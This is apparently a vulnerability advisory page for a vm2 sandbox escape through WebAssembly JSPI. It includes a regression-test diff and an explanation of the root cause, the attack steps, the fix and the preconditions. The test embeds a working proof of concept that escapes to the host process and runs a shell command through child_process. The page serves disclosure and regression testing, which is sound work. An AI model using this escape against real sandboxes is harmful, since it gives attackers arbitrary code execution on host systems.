    + * by producing a third class — sandbox-realm with a HOST `Promise.prototype`
    + * — that neither defense layer can intercept.
    + */
    +
    +'use strict';
    +
    +const assert = require('assert');
    +const fs = require('fs');
    +const path = require('path');
    +const { VM } = require('../../../lib/main.js');
    +
    +// JSPI was introduced behind `--experimental-wasm-jspi` in Node 24 and is
    +// enabled by default on Node 26+. Older Nodes don't expose the constructors
    +// at all, so the attack surface doesn't exist there.
    +const HAS_JSPI = typeof WebAssembly !== 'undefined'
    +	&& typeof WebAssembly.promising === 'function'
    +	&& typeof WebAssembly.Suspending === 'function';
    +
    +if (typeof it.cond !== 'function') {
    +	it.cond = function (name, cond, fn) {
    +		return cond ? it(name, fn) : it.skip(name, fn);
    +	};
    +}
    +
    +describe('GHSA-6j2x-vhqr-qr7q — WebAssembly JSPI sandbox escape', function () {
    +	// Bump the timeout — the canonical PoC needs a wasm instantiate round-trip
    +	// plus a microtask drain before the rejection lands.
    +	this.timeout(5000);
    +
    +	it.cond('removes WebAssembly.promising from the sandbox global', HAS_JSPI, function () {
    +		const r = new VM().run(`typeof WebAssembly.promising`);
    +		assert.strictEqual(r, 'undefined', 'WebAssembly.promising must be unreachable from sandbox');
    +	});
    +
    +	it.cond('removes WebAssembly.Suspending from the sandbox global', HAS_JSPI, function () {
    +		const r = new VM().run(`typeof WebAssembly.Suspending`);
    +		assert.strictEqual(r, 'undefined', 'WebAssembly.Suspending must be unreachable from sandbox');
    +	});
    +
    +	it.cond('canonical PoC: no host filesystem side-effect', HAS_JSPI, function () {
    +		return new Promise(function (resolve, reject) {
    +			const sentinel = path.resolve(__dirname, 'pwned-canonical');
    +			try { fs.unlinkSync(sentinel); } catch (e) { /* not present */ }
    +
    +			const vm = new VM();
    +			let inner;
    +			try {
    +				inner = vm.run(`
    +					(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);
    +					try {
    +						WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{
    +							let p=WebAssembly.promising(r.instance.exports.run)();
    +							class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    +								try {
    +									let P=e.constructor.constructor('return process')();
    +									P.mainModule.require('child_process').execSync('touch ${sentinel}');
    +									globalThis.__outcome='ESCAPED pid=' + (P && P.pid);
    +								} catch (err) { globalThis.__outcome='blocked-inner:' + err.message; }
    +								this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}
    +							Object.defineProperty(F,Symbol.species,{get(){return F}});
    +							Object.defineProperty(p,'constructor',{configurable:true,get(){return F}});
    +							p.finally(()=>{});
    +						}, err => { globalThis.__outcome='outer-reject:' + (err && err.message); });
    +						globalThis.__outcome='setup-ok';
    +					} catch (e) {
    +						globalThis.__outcome='blocked-setup:' + e.message;
    +					}
    +					return globalThis.__outcome;})()
    +				`);
    +			} catch (e) {
    +				inner = 'vm.run-threw:' + e.message;
    +			}
    +
    +			// Wait for any microtasks / wasm instantiation to settle, then assert.
    +			setTimeout(function () {
    +				try {
    +					let outcome;
    +					try { outcome = vm.run('globalThis.__outcome'); }
    +					catch (e) { outcome = '(read-failed:' + e.message + ')'; }
    +					const escaped = fs.existsSync(sentinel);
    +					if (escaped) {
    +						try { fs.unlinkSync(sentinel); } catch (e) { /* ignore */ }
    +					}
    +					assert.strictEqual(escaped, false, 'host filesystem side-effect must not occur; inner=' + inner + ' outcome=' + outcome);
    +					// And the setup must have been blocked at the deleted-API boundary.
    +					assert.ok(
    +						String(inner).indexOf('blocked-setup:') === 0
    +							|| String(outcome).indexOf('blocked-setup:') === 0
    +							|| String(inner).indexOf('vm.run-threw:') === 0,
    +						'expected setup to fail at the deleted JSPI API; inner=' + inner + ' outcome=' + outcome,
    +					);
    +					resolve();
    +				} catch (e) {
    +					reject(e);
    +				}
    +			}, 1500);
    +		});
    +	});
    +
    +	it.cond('variant: WebAssembly.promising alone is also gone (defense in depth)', HAS_JSPI, function () {
    +		// Even without Suspending, a wasm function promoted to JSPI via
    +		// `promising` can produce a sandbox-visible cross-realm-prototype
    +		// promise. Asserting the broader deletion catches a refactor that
    +		// might keep one of the two by mistake.
    +		const r = new VM().run(`
    +			typeof WebAssembly.promising + ',' + typeof WebAssembly.Suspending
    +		`);
    +		assert.strictEqual(r, 'undefined,undefined');
    +	});
    +
    +	it.cond(
    +		'variant: wasm module that imports a Suspending function cannot be instantiated',
    +		HAS_JSPI,
    +		function () {
    +			// The canonical PoC's wasm module imports `f` (a Suspending). Even
    +			// if an attacker pre-compiles such a module elsewhere and tries to
    +			// instantiate it in-sandbox, `new WebAssembly.Suspending(...)` is
    +			// the only way to satisfy that import — and it's gone.
    +			const r = new VM().run(`
    +				try {
    +					new WebAssembly.Suspending(() => {});
    +					'UNEXPECTED: Suspending still constructable';
    +				} catch (e) {
    +					'blocked:' + (e && e.message);
    +				}
    +			`);
    +			assert.ok(/^blocked:/.test(r), 'expected Suspending to be unconstructable, got: ' + r);
    +		},
    +	);
    +
    +	it.cond('regression: vanilla WebAssembly.instantiate still works (no over-broad deletion)', HAS_JSPI, function () {
    +		// Module: (module (func (export "f") (result i32) i32.const 42))
    +		const r = new VM().run(`
    +			const bytes = new Uint8Array([
    +				0,97,115,109,1,0,0,0,1,5,1,96,0,1,127,3,2,1,0,7,5,1,1,102,0,0,10,6,1,4,0,65,42,11
    +			]);
    +			(async () => {
    +				const { instance } = await WebAssembly.instantiate(bytes);
    +				return instance.exports.f();
    +			})();
    +		`);
    +		// r is a sandbox-realm Promise. Resolve it with a then handler to
    +		// extract the value into a host-side capture for assertion.
    +		return new Promise((resolve, reject) => {
    +			r.then((value) => {
    +				try {
    +					assert.strictEqual(value, 42, 'wasm function f() should return 42');
    +					resolve();
    +				} catch (e) { reject(e); }
    +			}, reject);
    +		});
    +	});
    +});
    

Vulnerability mechanics

Root cause

"WebAssembly JSPI returns sandbox-visible Promise objects whose `[[Prototype]]` chain points directly at the host realm's `Promise.prototype` with no bridge proxy, allowing attacker-controlled species logic to receive a raw host-realm rejection object and escape the sandbox."

Attack vector

An attacker first builds a small WebAssembly module that imports a Suspending function and exports a `run` function. Inside the sandbox, `new WebAssembly.Suspending(() => WebAssembly.compileStreaming(Promise.resolve(0)))` sets up a suspending import that will eventually reject with a host-realm `TypeError`. Calling `WebAssembly.promising(instance.exports.run)()` returns a Promise whose `[[Prototype]]` chain points directly at the host realm's `Promise.prototype` with no bridge proxy [ref_id=1]. The attacker installs a custom `constructor` getter on this raw Promise via `Object.defineProperty`, then calls `p.finally(()=>{})` which triggers V8's host-realm `SpeciesConstructor` lookup, reading the attacker's class `F`. When the JSPI promise rejects, the host-realm `TypeError` is dispatched directly into `F`'s reject closure without bridge mediation, and `e.constructor.constructor('return process')()` evaluates in the host realm, yielding arbitrary code execution [CWE-913].

Affected code

The vulnerability resides in `lib/setup-sandbox.js` where `WebAssembly.promising` and `WebAssembly.Suspending` were not removed from the sandbox global at bootstrap. The patch deletes both constructors, mirroring the existing `WebAssembly.JSTag` removal. The attack is fully documented in `docs/ATTACKS.md` under Attack Category 33 and the regression test lives in `test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js`.

What the fix does

The patch removes `WebAssembly.promising` and `WebAssembly.Suspending` from the sandbox global at bootstrap in `lib/setup-sandbox.js`, guarded by `typeof` checks so the deletion is a no-op on Node versions that lack JSPI [patch_id=3104227]. Without `Suspending`, a wasm module cannot import a JS function as a suspending import; without `promising`, sandbox code cannot promote a wasm function into a JSPI export. This restores Defense Invariant #12: every sandbox-visible Promise must either include `globalPromise.prototype` in its `[[Prototype]]` chain or be a bridge proxy of a host-realm Promise — eliminating the third class (sandbox-realm allocation with host-realm prototype, no proxy) that JSPI introduced.

Preconditions

  • configNode.js runtime must expose WebAssembly JSPI (Node 24 with `--experimental-wasm-jspi`, or Node 26+ where JSPI is enabled by default)
  • configThe application must use `vm2` to execute attacker-controlled JavaScript as a security boundary
  • inputThe sandbox must have access to `WebAssembly.instantiate`, `WebAssembly.promising`, and `WebAssembly.Suspending` (all present before the fix)

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.